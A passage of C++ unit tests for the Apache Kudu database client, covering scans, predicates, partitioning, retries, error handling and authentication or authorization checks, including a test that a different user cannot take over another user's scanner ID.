b.AddColumn("string_val")->Type(KuduColumnSchema::STRING); BinaryEncoding enc = GetParam(); switch (enc) { case kPlainBin: string_col->Encoding(KuduColumnStorageAttributes::PLAIN_ENCODING); break; case kPrefix: string_col->Encoding(KuduColumnStorageAttributes::PREFIX_ENCODING); break; case kDictionary: string_col->Encoding(KuduColumnStorageAttributes::DICT_ENCODING); break; } ASSERT_OK(b.Build(&schema)); string table_name = "BinaryEncodingNullPredicatesTestTable"; unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(table_name) .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create()); shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(table_name, &table)); // Insert rows. shared_ptr<KuduSession> session = table->client()->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); session->SetTimeoutMillis(10000); const size_t kNumRows = AllowSlowTests() ? 10000 : 1000; for (int i = 0; i < kNumRows; i++) { KuduInsert* insert = table->NewInsert(); KuduPartialRow* row = insert->mutable_row(); ASSERT_OK(row->SetInt32("key", i)); if (i % 2 == 0) { ASSERT_OK(row->SetString("string_val", Substitute("taco %d", i % 25))); } else { ASSERT_OK(row->SetNull("string_val")); } ASSERT_OK(session->Apply(insert)); if (i + 1 % 1000 == 0) { ASSERT_OK(session->Flush()); } } ASSERT_OK(session->Flush()); // Scan rows and check for correct counts. { // IS NULL KuduScanner scanner(table.get()); KuduPredicate *p = table->NewIsNullPredicate("string_val"); ASSERT_OK(scanner.AddConjunctPredicate(p)); ASSERT_OK(scanner.Open()); int count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { CHECK_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(kNumRows / 2, count); } { // IS NOT NULL KuduScanner scanner(table.get()); KuduPredicate *p = table->NewIsNotNullPredicate("string_val"); ASSERT_OK(scanner.AddConjunctPredicate(p)); ASSERT_OK(scanner.Open()); int count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { CHECK_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(kNumRows / 2, count); } } INSTANTIATE_TEST_CASE_P(BinaryColEncodings, BinaryEncodingNullPredicatesTest, ::testing::Values(kPlainBin, kPrefix, kDictionary)); TEST_F(ClientTest, TestClonePredicates) { NO_FATALS(InsertTestRows(client_table_.get(), 2, 0)); unique_ptr<KuduPredicate> predicate(client_table_->NewComparisonPredicate( "key", KuduPredicate::EQUAL, KuduValue::FromInt(1))); unique_ptr<KuduScanner> scanner(new KuduScanner(client_table_.get())); ASSERT_OK(scanner->AddConjunctPredicate(predicate->Clone())); ASSERT_OK(scanner->Open()); int count = 0; KuduScanBatch batch; while (scanner->HasMoreRows()) { ASSERT_OK(scanner->NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(count, 1); scanner.reset(new KuduScanner(client_table_.get())); ASSERT_OK(scanner->AddConjunctPredicate(predicate->Clone())); ASSERT_OK(scanner->Open()); count = 0; while (scanner->HasMoreRows()) { ASSERT_OK(scanner->NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(count, 1); } // Test that scanners will retry after receiving ERROR_SERVER_TOO_BUSY from an // overloaded tablet server. Regression test for KUDU-1079. TEST_F(ClientTest, TestServerTooBusyRetry) { #ifdef THREAD_SANITIZER const int kNumRows = 10000; #else const int kNumRows = 100000; #endif NO_FATALS(InsertTestRows(client_table_.get(), kNumRows)); // Introduce latency in each scan to increase the likelihood of // ERROR_SERVER_TOO_BUSY. #ifdef THREAD_SANITIZER FLAGS_scanner_inject_latency_on_each_batch_ms = 100; #else FLAGS_scanner_inject_latency_on_each_batch_ms = 10; #endif // Reduce the service queue length of each tablet server in order to increase // the likelihood of ERROR_SERVER_TOO_BUSY. for (int i = 0; i < cluster_->num_tablet_servers(); i++) { MiniTabletServer* ts = cluster_->mini_tablet_server(i); ts->options()->rpc_opts.service_queue_length = 1; ts->Shutdown(); ASSERT_OK(ts->Restart()); ASSERT_OK(ts->WaitStarted()); } bool stop = false; vector<thread> threads; while (!stop) { threads.emplace_back([this]() { this->CheckRowCount(this->client_table_.get(), kNumRows); }); // Don't start threads too fast - otherwise we could accumulate tens or hundreds // of threads before any of them starts their actual scans, and then it would // take a long time to join on them all eventually finishing down below. SleepFor(MonoDelta::FromMilliseconds(100)); for (int i = 0; i < cluster_->num_tablet_servers(); i++) { scoped_refptr<Counter> counter = METRIC_rpcs_queue_overflow.Instantiate( cluster_->mini_tablet_server(i)->server()->metric_entity()); stop = counter->value() > 0; } } for (auto& t : threads) { t.join(); } } TEST_F(ClientTest, TestLastErrorEmbeddedInScanTimeoutStatus) { // For the random() calls that take place during scan retries. SeedRandom(); NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); for (int i = 0; i < cluster_->num_tablet_servers(); ++i) { MiniTabletServer* ts = cluster_->mini_tablet_server(i); ts->Shutdown(); } // Revert the latency injection flags at the end so the test exits faster. google::FlagSaver saver; // Restart, but inject latency so that startup is very slow. FLAGS_log_inject_latency = true; FLAGS_log_inject_latency_ms_mean = 3000; FLAGS_log_inject_latency_ms_stddev = 0; for (int i = 0; i < cluster_->num_tablet_servers(); ++i) { MiniTabletServer* ts = cluster_->mini_tablet_server(i); ASSERT_OK(ts->Restart()); } // As the tservers are still starting up, the scan will retry until it // times out. The actual error should be embedded in the returned status. KuduScanner scan(client_table_.get()); ASSERT_OK(scan.SetTimeoutMillis(1000)); Status s = scan.Open(); ASSERT_TRUE(s.IsTimedOut()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "Illegal state: Tablet not RUNNING"); } TEST_F(ClientTest, TestRetriesEmbeddedInScanTimeoutStatus) { // For the random() calls that take place during scan retries. SeedRandom(); NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); // Allow creating a scanner but fail all of the read calls. FLAGS_scanner_inject_service_unavailable_on_continue_scan = true; // The scanner will return a retriable error on read, and we will eventually // observe a timeout. KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetTimeoutMillis(1000)); Status s = scanner.Open(); ASSERT_TRUE(s.IsTimedOut()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "exceeded configured scan timeout of"); ASSERT_STR_CONTAINS(s.ToString(), "scan attempts"); } TEST_F(ClientTest, TestNoDefaultPartitioning) { unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); Status s = table_creator->table_name("TestNoDefaultPartitioning").schema(&schema_).Create(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "Table partitioning must be specified"); } TEST_F(ClientTest, TestBatchScanConstIterator) { // Check for iterator behavior for an empty batch. { KuduScanBatch empty_batch; ASSERT_EQ(0, empty_batch.NumRows()); ASSERT_TRUE(empty_batch.begin() == empty_batch.end()); } { // Insert a few rows const int kRowNum = 2; NO_FATALS(InsertTestRows(client_table_.get(), kRowNum)); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.Open()); // Do a scan KuduScanBatch batch; ASSERT_TRUE(scanner.HasMoreRows()); ASSERT_OK(scanner.NextBatch(&batch)); const int ref_count(batch.NumRows()); ASSERT_EQ(kRowNum, ref_count); { KuduScanBatch::const_iterator it_next = batch.begin(); std::advance(it_next, 1); KuduScanBatch::const_iterator it = batch.begin(); ASSERT_TRUE(++it == it_next); ASSERT_TRUE(it == it_next); } { KuduScanBatch::const_iterator it_end = batch.begin(); std::advance(it_end, kRowNum); ASSERT_TRUE(batch.end() == it_end); } { KuduScanBatch::const_iterator it(batch.begin()); ASSERT_TRUE(it++ == batch.begin()); KuduScanBatch::const_iterator it_next(batch.begin()); ASSERT_TRUE(++it_next == it); } // Check the prefix increment iterator. { int count = 0; for (KuduScanBatch::const_iterator it = batch.begin(); it != batch.end(); ++it) { ++count; } CHECK_EQ(ref_count, count); } // Check the postfix increment iterator. { int count = 0; for (KuduScanBatch::const_iterator it = batch.begin(); it != batch.end(); it++) { ++count; } CHECK_EQ(ref_count, count); } // Check access to row via indirection operator * // and member access through pointer operator -> { KuduScanBatch::const_iterator it(batch.begin()); ASSERT_TRUE(it != batch.end()); int32_t x = 0, y = 0; ASSERT_OK((*it).GetInt32(0, &x)); ASSERT_OK(it->GetInt32(0, &y)); ASSERT_EQ(x, y); } { KuduScanBatch::const_iterator it_pre(batch.begin()); KuduScanBatch::const_iterator it_post(batch.begin()); for (; it_pre != batch.end(); ++it_pre, it_post++) { ASSERT_TRUE(it_pre == it_post); ASSERT_FALSE(it_pre != it_post); } } // Check that iterators which are going over different batches // are different, even if they iterate over the same raw data. { KuduScanner other_scanner(client_table_.get()); ASSERT_OK(other_scanner.Open()); KuduScanBatch other_batch; ASSERT_TRUE(other_scanner.HasMoreRows()); ASSERT_OK(other_scanner.NextBatch(&other_batch)); const int other_ref_count(other_batch.NumRows()); ASSERT_EQ(kRowNum, other_ref_count); KuduScanBatch::const_iterator it(batch.begin()); KuduScanBatch::const_iterator other_it(other_batch.begin()); for (; it != batch.end(); ++it, ++other_it) { ASSERT_FALSE(it == other_it); ASSERT_TRUE(it != other_it); } } } } TEST_F(ClientTest, TestTableNumReplicas) { for (int i : { 1, 3, 5, 7 }) { shared_ptr<KuduTable> table; NO_FATALS(CreateTable(Substitute("table_with_$0_replicas", i), i, {}, {}, &table)); ASSERT_EQ(i, table->num_replicas()); } } // Tests that KuduClient::GetTablet() returns the same tablet information as // KuduScanToken::tablet(). TEST_F(ClientTest, TestGetTablet) { KuduScanTokenBuilder builder(client_table_.get()); vector<KuduScanToken*> tokens; ElementDeleter deleter(&tokens); ASSERT_OK(builder.Build(&tokens)); ASSERT_EQ(2, tokens.size()); for (const auto* t : tokens) { const KuduTablet& tablet = t->tablet(); ASSERT_EQ(1, tablet.replicas().size()); const KuduReplica* replica = tablet.replicas()[0]; ASSERT_TRUE(replica->is_leader()); const MiniTabletServer* ts = cluster_->mini_tablet_server(0); ASSERT_EQ(ts->server()->instance_pb().permanent_uuid(), replica->ts().uuid()); ASSERT_EQ(ts->bound_rpc_addr().host(), replica->ts().hostname()); ASSERT_EQ(ts->bound_rpc_addr().port(), replica->ts().port()); unique_ptr<KuduTablet> tablet_copy; { KuduTablet* ptr; ASSERT_OK(client_->GetTablet(tablet.id(), &ptr)); tablet_copy.reset(ptr); } ASSERT_EQ(tablet.id(), tablet_copy->id()); ASSERT_EQ(1, tablet_copy->replicas().size()); const KuduReplica* replica_copy = tablet_copy->replicas()[0]; ASSERT_EQ(replica->is_leader(), replica_copy->is_leader()); ASSERT_EQ(replica->ts().uuid(), replica_copy->ts().uuid()); ASSERT_EQ(replica->ts().hostname(), replica_copy->ts().hostname()); ASSERT_EQ(replica->ts().port(), replica_copy->ts().port()); } } TEST_F(ClientTest, TestErrorCollector) { shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); NO_FATALS(InsertTestRows(client_table_.get(), session.get(), 1, 0)); ASSERT_OK(session->Flush()); // Set the maximum size limit too low even for a single error // and make sure the error collector reports overflow and drops the error. { ASSERT_OK(session->SetErrorBufferSpace(1)); // Trying to insert a duplicate row. NO_FATALS(InsertTestRows(client_table_.get(), session.get(), 1, 0)); // Expecting an error since tried to insert a duplicate key. ASSERT_TRUE((session->Flush()).IsIOError()); // It's impossible to update the error buffer size because // the error collector's buffer is overflown and one error has been dropped. EXPECT_TRUE(session->SetErrorBufferSpace(0).IsIllegalState()); vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_TRUE(errors.empty()); EXPECT_TRUE(overflowed); } // After calling the GetPendingErrors() and retrieving the errors, it's // possible to update the limit on the error buffer size. Besides, the error // collector should be able to accomodate the duplicate row error // if the error fits the buffer. { ASSERT_OK(session->SetErrorBufferSpace(1024)); NO_FATALS(InsertTestRows(client_table_.get(), session.get(), 1, 0)); // Expecting an error: tried to insert a duplicate key. ASSERT_TRUE((session->Flush()).IsIOError()); // It's impossible to update the error buffer size if the error collector // would become overflown. EXPECT_TRUE(session->SetErrorBufferSpace(1).IsIllegalState()); // It's OK to update the error buffer size because the new limit is high // enough and the error collector hasn't dropped a single error yet. EXPECT_OK(session->SetErrorBufferSpace(2048)); vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_EQ(1, errors.size()); EXPECT_FALSE(overflowed); } } // Test that, when connecting to an old-version master which doesn't support // the 'ConnectToCluster' RPC, we still fall back to the old 'GetMasterRegistration' // RPC. TEST_F(ClientTest, TestConnectToClusterCompatibility) { FLAGS_master_support_connect_to_master_rpc = false; const auto& ent = cluster_->mini_master()->master()->metric_entity(); const auto& metric = METRIC_handler_latency_kudu_master_MasterService_GetMasterRegistration .Instantiate(ent); int initial_val = metric->TotalCount(); // Reconnect the client. Since we disabled 'ConnectToCluster', the client should // fall back to using GetMasterRegistration instead. ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&client_)); int final_val = metric->TotalCount(); ASSERT_EQ(initial_val + 1, final_val); } // Test that, when the client connects to a cluster, that it gets the relevant // certificate authority and authentication token from the master. Also checks that // the data can be exported and re-imported into a new client. TEST_F(ClientTest, TestGetSecurityInfoFromMaster) { // Client is already connected when the test starts. ASSERT_TRUE(client_->data_->messenger_->authn_token() != boost::none); ASSERT_EQ(1, client_->data_->messenger_->tls_context().trusted_cert_count_for_tests()); string authn_creds; ASSERT_OK(client_->ExportAuthenticationCredentials(&authn_creds)); // Creating a new client by importing the authentication data should result in the // having the same token. shared_ptr<KuduClient> new_client; ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .import_authentication_credentials(authn_creds) .Build(&new_client)); ASSERT_EQ(client_->data_->messenger_->authn_token()->ShortDebugString(), new_client->data_->messenger_->authn_token()->ShortDebugString()); // The new client should yield the same authentication data as the original. string new_authn_creds; ASSERT_OK(new_client->ExportAuthenticationCredentials(&new_authn_creds)); ASSERT_EQ(authn_creds, new_authn_creds); } struct ServiceUnavailableRetryParams { MonoDelta usurper_sleep; MonoDelta client_timeout; function<bool(const Status&)> status_check; }; class ServiceUnavailableRetryClientTest : public ClientTest, public ::testing::WithParamInterface<ServiceUnavailableRetryParams> { }; // Test the client retries on ServiceUnavailable errors. This scenario uses // 'CreateTable' RPC to verify the retry behavior. TEST_P(ServiceUnavailableRetryClientTest, CreateTable) { // This scenario is designed to run on a single-master cluster. ASSERT_EQ(1, cluster_->num_masters()); const ServiceUnavailableRetryParams& param(GetParam()); CountDownLatch start_synchronizer(1); // Usurp catalog manager's leader lock for some time to block // the catalog manager from performing its duties when becoming a leader. // Keeping the catalog manager off its duties results in ServiceUnavailable // error response for 'CreateTable' RPC. thread usurper([&]() { std::lock_guard<RWMutex> leader_lock_guard( cluster_->mini_master()->master()->catalog_manager()->leader_lock_); start_synchronizer.CountDown(); SleepFor(param.usurper_sleep); }); // Wait for the lock to be acquired by the usurper thread to make sure // the following CreateTable call will get ServiceUnavailable response // while the lock is held. start_synchronizer.Wait(); // Start issuing 'CreateTable' RPC when the catalog manager is still // unavailable to serve the incoming requests. unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); const Status s = table_creator->table_name("service-unavailable-retry") .schema(&schema_) .num_replicas(1) .set_range_partition_columns({ "key" }) .timeout(param.client_timeout) .Create(); EXPECT_TRUE(param.status_check(s)) << s.ToString(); // Wait for the usurper thread to release the lock, otherwise there // would be a problem with destroying a locked mutex upon catalog manager // shutdown. usurper.join(); } static const ServiceUnavailableRetryParams service_unavailable_retry_cases[] = { // Under the hood, there should be multiple retries. However, they should // fail as timed out because the catalog manager responds with // ServiceUnavailable error to all calls: the leader lock is still held // by the usurping thread. { MonoDelta::FromSeconds(2), // usurper_sleep MonoDelta::FromMilliseconds(500), // client_timeout &Status::IsTimedOut, // status_check }, // After some time the usurper thread should release the lock and the catalog // manager should succeed. I.e., the client should succeed if retrying the // request for long enough time. { MonoDelta::FromSeconds(1), // usurper_sleep MonoDelta::FromSeconds(60), // client_timeout &Status::ok, // status_check }, }; INSTANTIATE_TEST_CASE_P( , ServiceUnavailableRetryClientTest, ::testing::ValuesIn(service_unavailable_retry_cases)); TEST_F(ClientTest, TestPartitioner) { // Create a table with the following 9 partitions: // // hash bucket // key 0 1 2 // ----------------- // <3333 x x x // 3333-6666 x x x // >=6666 x x x int num_ranges = 3; const int kNumHashPartitions = 3; const char* kTableName = "TestPartitioner"; vector<unique_ptr<KuduPartialRow>> split_rows; for (int32_t split : {3333, 6666}) { unique_ptr<KuduPartialRow> row(schema_.NewRow()); ASSERT_OK(row->SetInt32("key", split)); split_rows.emplace_back(std::move(row)); } shared_ptr<KuduTable> table; unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); table_creator->table_name(kTableName) .schema(&schema_) .num_replicas(1) .add_hash_partitions({ "key" }, kNumHashPartitions) .set_range_partition_columns({ "key" }); for (const auto& row : split_rows) { table_creator->add_range_partition_split(new KuduPartialRow(*row)); } ASSERT_OK(table_creator->Create()); ASSERT_OK(client_->OpenTable(kTableName, &table)); // Build a partitioner on the table. unique_ptr<KuduPartitioner> part; { KuduPartitioner* part_raw; ASSERT_OK(KuduPartitionerBuilder(table) .Build(&part_raw)); part.reset(part_raw); } ASSERT_EQ(num_ranges * kNumHashPartitions, part->NumPartitions()); // Partition a bunch of rows, counting how many fall into each partition. unique_ptr<KuduPartialRow> row(table->schema().NewRow()); vector<int> counts_by_partition(part->NumPartitions()); const int kNumRowsToPartition = 10000; for (int i = 0; i < kNumRowsToPartition; i++) { ASSERT_OK(row->SetInt32(0, i)); int part_index; ASSERT_OK(part->PartitionRow(*row, &part_index)); counts_by_partition.at(part_index)++; } // We don't expect a completely even division of rows into partitions, but // we should be within 10% of that. int expected_per_partition = kNumRowsToPartition / part->NumPartitions(); int fuzziness = expected_per_partition / 10; for (int i = 0; i < part->NumPartitions(); i++) { ASSERT_NEAR(counts_by_partition[i], expected_per_partition, fuzziness); } // Drop the first and third range partition. unique_ptr<KuduTableAlterer> alterer(client_->NewTableAlterer(kTableName)); alterer->DropRangePartition(schema_.NewRow(), new KuduPartialRow(*split_rows[0])); alterer->DropRangePartition(new KuduPartialRow(*split_rows[1]), schema_.NewRow()); ASSERT_OK(alterer->Alter()); // The existing partitioner should still return results based on the table // state at the time it was created, and successfully return partitions // for rows in the now-dropped range. ASSERT_EQ(num_ranges * kNumHashPartitions, part->NumPartitions()); ASSERT_OK(row->SetInt32(0, 1000)); int part_index; ASSERT_OK(part->PartitionRow(*row, &part_index)); ASSERT_GE(part_index, 0); // If we recreate the partitioner, it should get the new partitioning info. { KuduPartitioner* part_raw; ASSERT_OK(KuduPartitionerBuilder(table) .Build(&part_raw)); part.reset(part_raw); } num_ranges = 1; ASSERT_EQ(num_ranges * kNumHashPartitions, part->NumPartitions()); // ... and it should return -1 for non-covered ranges. ASSERT_OK(row->SetInt32(0, 1000)); ASSERT_OK(part->PartitionRow(*row, &part_index)); ASSERT_EQ(-1, part_index); ASSERT_OK(row->SetInt32(0, 8000)); ASSERT_OK(part->PartitionRow(*row, &part_index)); ASSERT_EQ(-1, part_index); } TEST_F(ClientTest, TestInvalidPartitionerBuilder) { KuduPartitioner* part; Status s = KuduPartitionerBuilder(client_table_) .SetBuildTimeout(MonoDelta()) ->Build(&part); ASSERT_EQ("Invalid argument: uninitialized timeout", s.ToString()); s = KuduPartitionerBuilder(sp::shared_ptr<KuduTable>()) .Build(&part); ASSERT_EQ("Invalid argument: null table", s.ToString()); } // Test that, log verbose level can be set through environment varialble // and it reflects to the FLAGS_v. TEST_F(ClientTest, TestVerboseLevelByEnvVar) { FLAGS_v = 0; setenv(kVerboseEnvVar, "5", 1); // 1 = overwrite if variable already exists. SetVerboseLevelFromEnvVar(); ASSERT_EQ(5, FLAGS_v); // negative values are to be ignored. FLAGS_v = 0; setenv(kVerboseEnvVar, "-1", 1); SetVerboseLevelFromEnvVar(); ASSERT_EQ(0, FLAGS_v); // non-parsable values are to be ignored. FLAGS_v = 0; setenv(kVerboseEnvVar, "abc", 1); SetVerboseLevelFromEnvVar(); ASSERT_EQ(0, FLAGS_v); } // Regression test for KUDU-2167: older versions of Kudu could return a scan // response without a 'data' field, crashing the client. TEST_F(ClientTest, TestSubsequentScanRequestReturnsNoData) { // Insert some rows. NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); // Set up a table scan. KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetProjectedColumnNames({ "key" })); // Ensure that the new scan RPC does not return the data. // // It's OK to leave the scanner configured like this; after the new scan RPC // the server will still return at least one block of data per RPC. ASSERT_OK(scanner.SetBatchSizeBytes(0)); // This scan should not match any of the inserted rows. unique_ptr<KuduPartialRow> row(client_table_->schema().NewRow()); ASSERT_OK(row->SetInt32("key", -1)); ASSERT_OK(scanner.AddExclusiveUpperBound(*row)); // Perform the scan. ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); int count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(0, count); } // Test that the 'real user' included in AuthenticationCredentialsPB is used // when the client connects to remote servers with SASL PLAIN. TEST_F(ClientTest, TestAuthenticationCredentialsRealUser) { // Scope down the user ACLs and restart the cluster to have it take effect. FLAGS_user_acl = "token-user"; FLAGS_superuser_acl = "token-user"; FLAGS_rpc_trace_negotiation = true; cluster_->ShutdownNodes(cluster::ClusterNodes::ALL); ASSERT_OK(cluster_->StartSync()); // Try to connect without setting the user, which should fail // TODO(KUDU-2344): This should fail with NotAuthorized. ASSERT_TRUE(cluster_->CreateClient(nullptr, &client_).IsRemoteError()); // Create a new client with the imported user name and smoke test it. KuduClientBuilder client_builder; string authn_creds; AuthenticationCredentialsPB pb; pb.set_real_user("token-user"); ASSERT_TRUE(pb.SerializeToString(&authn_creds)); client_builder.import_authentication_credentials(authn_creds); // Recreate the client and open the table. ASSERT_OK(cluster_->CreateClient(&client_builder, &client_)); ASSERT_OK(client_->OpenTable(client_table_->name(), &client_table_)); // Insert some rows and do a scan to force a new connection to the tablet servers. NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); vector<string> rows; KuduScanner scanner(client_table_.get()); ASSERT_OK(ScanToStrings(&scanner, &rows)); } // Test that clients that aren't authenticated as the appropriate user will be // unable to hijack a specific scanner ID. TEST_F(ClientTest, TestBlockScannerHijackingAttempts) { const string kUser = "token-user"; const string kBadGuy = "bad-guy"; const string table_name = client_table_->name(); FLAGS_user_acl = Substitute("$0,$1", kUser, kBadGuy); cluster_->ShutdownNodes(cluster::ClusterNodes::ALL); ASSERT_OK(cluster_->StartSync()); // Insert some rows to the table. NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); // First authenticate as a user and create a scanner for the existing table. const auto get_table_as_user = [&] (const string& user, shared_ptr<KuduTable>* table) { KuduClientBuilder client_builder; string authn_creds; AuthenticationCredentialsPB pb; pb.set_real_user(user); ASSERT_TRUE(pb.SerializeToString(&authn_creds)); client_builder.import_authentication_credentials(authn_creds); // Create the client and table for the user. shared_ptr<KuduClient> user_client; ASSERT_OK(cluster_->CreateClient(&client_builder, &user_client)); ASSERT_OK(user_client->OpenTable(table_name, table)); }; shared_ptr<KuduTable> user_table; shared_ptr<KuduTable> bad_guy_table; NO_FATALS(get_table_as_user(kUser, &user_table)); NO_FATALS(get_table_as_user(kBadGuy, &bad_guy_table)); // Test both fault-tolerant scanners and non-fault-tolerant scanners. for (bool fault_tolerance : { true, false }) { // Scan the table as the user to get a scanner ID, and set up a malicious // scanner that will try to hijack that scanner ID. Set an initial batch // size of 0 so the calls to Open() don't buffer any rows. KuduScanner user_scanner(user_table.get()); ASSERT_OK(user_scanner.SetBatchSizeBytes(0)); KuduScanner bad_guy_scanner(bad_guy_table.get()); ASSERT_OK(bad_guy_scanner.SetBatchSizeBytes(0)); if (fault_tolerance) { ASSERT_OK(user_scanner.SetFaultTolerant()); ASSERT_OK(bad_guy_scanner.SetFaultTolerant()); } ASSERT_OK(user_scanner.Open()); ASSERT_OK(bad_guy_scanner.Open()); const string scanner_id = user_scanner.data_->next_req_.scanner_id(); ASSERT_FALSE(scanner_id.empty()); // Now attempt to get that scanner id as a different user. LOG(INFO) << Substitute("Attempting to extract data from $0 scan $1 as $2", fault_tolerance ? "fault-tolerant" : "non-fault-tolerant", scanner_id, kBadGuy); bad_guy_scanner.data_->next_req_.set_scanner_id(scanner_id); bad_guy_scanner.data_->last_response_.set_has_more_results(true); KuduScanBatch batch; Status s = bad_guy_scanner.NextBatch(&batch); ASSERT_TRUE(s.IsRemoteError()); ASSERT_STR_CONTAINS(s.ToString(), "Not authorized"); ASSERT_EQ(0, batch.NumRows()); } } // Basic functionality test for the client's authz token cache. TEST_F(ClientTest, TestCacheAuthzTokens) { const MonoDelta kTimeout = MonoDelta::FromSeconds(30); const string& table_id = client_table_->id(); KuduClient::Data* data = client_->data_; // The client should have already gotten a token when it opened the table. SignedTokenPB first_token; ASSERT_TRUE(data->FetchCachedAuthzToken(table_id, &first_token)); // Retrieving a token from the master should overwrite what's in the cache. // Wait some time to ensure the new token will be different than the one // already in the cache (different expiration). SleepFor(MonoDelta::FromSeconds(3)); SignedTokenPB new_token; ASSERT_OK(data->RetrieveAuthzToken(client_table_.get(), MonoTime::Now() + kTimeout)); ASSERT_TRUE(data->FetchCachedAuthzToken(table_id, &new_token)); ASSERT_FALSE(MessageDifferencer::Equals(first_token, new_token)); // Now store the token directly into the cache of a new client. shared_ptr<KuduClient> new_client; ASSERT_OK(cluster_->CreateClient(nullptr, &new_client)); KuduClient::Data* new_data = new_client->data_; SignedTokenPB cached_token; ASSERT_FALSE(new_data->FetchCachedAuthzToken(table_id, &cached_token)); new_data->StoreAuthzToken(table_id, first_token); // Check that we actually stored the token. ASSERT_TRUE(new_data->FetchCachedAuthzToken(table_id, &cached_token)); ASSERT_TRUE(MessageDifferencer::Equals(first_token, cached_token)); // Storing tokens directly also overwrites existing ones. new_data->StoreAuthzToken(table_id, new_token); ASSERT_TRUE(new_data->FetchCachedAuthzToken(table_id, &cached_token)); ASSERT_TRUE(MessageDifferencer::Equals(new_token, cached_token)); // Sanity check that the operations on this new client didn't affect the // tokens of the old client. ASSERT_TRUE(data->FetchCachedAuthzToken(table_id, &cached_token)); ASSERT_TRUE(MessageDifferencer::Equals(new_token, cached_token)); } // Test to ensure that we don't send calls to retrieve authz tokens when one is // already in-flight for the same table ID. TEST_F(ClientTest, TestRetrieveAuthzTokenInParallel) { const int kThreads = 20; const MonoDelta kTimeout = MonoDelta::FromSeconds(30); vector<Synchronizer> syncs(kThreads); vector<thread> threads; Barrier barrier(kThreads); for (auto& s : syncs) { threads.emplace_back([&] { barrier.Wait(); client_->data_->RetrieveAuthzTokenAsync(client_table_.get(), s.AsStatusCallback(), MonoTime::Now() + kTimeout); }); } for (int i = 0 ; i < kThreads; i++) { syncs[i].Wait(); threads[i].join(); } SignedTokenPB token; ASSERT_TRUE(client_->data_->FetchCachedAuthzToken(client_table_->id(), &token)); // The authz token retrieval requests shouldn't send one request per table; // rather they should group together. auto ent = cluster_->mini_master()->master()->metric_entity(); int num_reqs = METRIC_handler_latency_kudu_master_MasterService_GetTableSchema .Instantiate(ent)->TotalCount(); LOG(INFO) << Substitute("$0 concurrent threads sent $1 RPC(s) to get authz tokens", kThreads, num_reqs); ASSERT_LT(num_reqs, kThreads); } // This test verifies that rows with column schema violations such as // unset non-nullable columns (with no default value) are detected at the client // side while calling Apply() for corresponding write operations. So, that sort // of schema violations can be detected prior sending an RPC to a tablet server. TEST_F(ClientTest, WritingRowsWithUnsetNonNullableColumns) { // Make sure if all non-nullable columns (without defaults) are set for an // insert operation, the operation should be successfully applied and flushed. { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); unique_ptr<KuduInsert> op(client_table_->NewInsert()); auto* row = op->mutable_row(); ASSERT_OK(row->SetInt32("key", 0)); // Set the non-nullable column without default. ASSERT_OK(row->SetInt32("int_val", 1)); // Even if the non-nullable column with default 'non_null_with_default' // is not set, apply (and underlying Flush()) should succeed. ASSERT_OK(session->Apply(op.release())); } // Of course, update write operations do not have to have all non-nullable // columns specified. { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); unique_ptr<KuduUpdate> op(client_table_->NewUpdate()); auto* row = op->mutable_row(); ASSERT_OK(row->SetInt32("key", 0)); ASSERT_OK(row->SetInt32("non_null_with_default", 1)); ASSERT_OK(session->Apply(op.release())); } // Make sure if a non-nullable column (without defaults) is not set for an // insert operation, the operation cannot be applied. { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); unique_ptr<KuduInsert> op(client_table_->NewInsert()); auto* row = op->mutable_row(); ASSERT_OK(row->SetInt32("key", 1)); // The non-nullable column with default 'non_null_with_default' is set. ASSERT_OK(row->SetInt32("non_null_with_default", 1)); // The non-nullable column 'int_val' without default is not set, so // Apply() should fail. const auto apply_status = session->Apply(op.release()); ASSERT_TRUE(apply_status.IsIllegalState()) << apply_status.ToString(); ASSERT_STR_CONTAINS(apply_status.ToString(), "non-nullable column 'int_val' is not set"); // Flush() should return an error. const auto flush_status = session->Flush(); 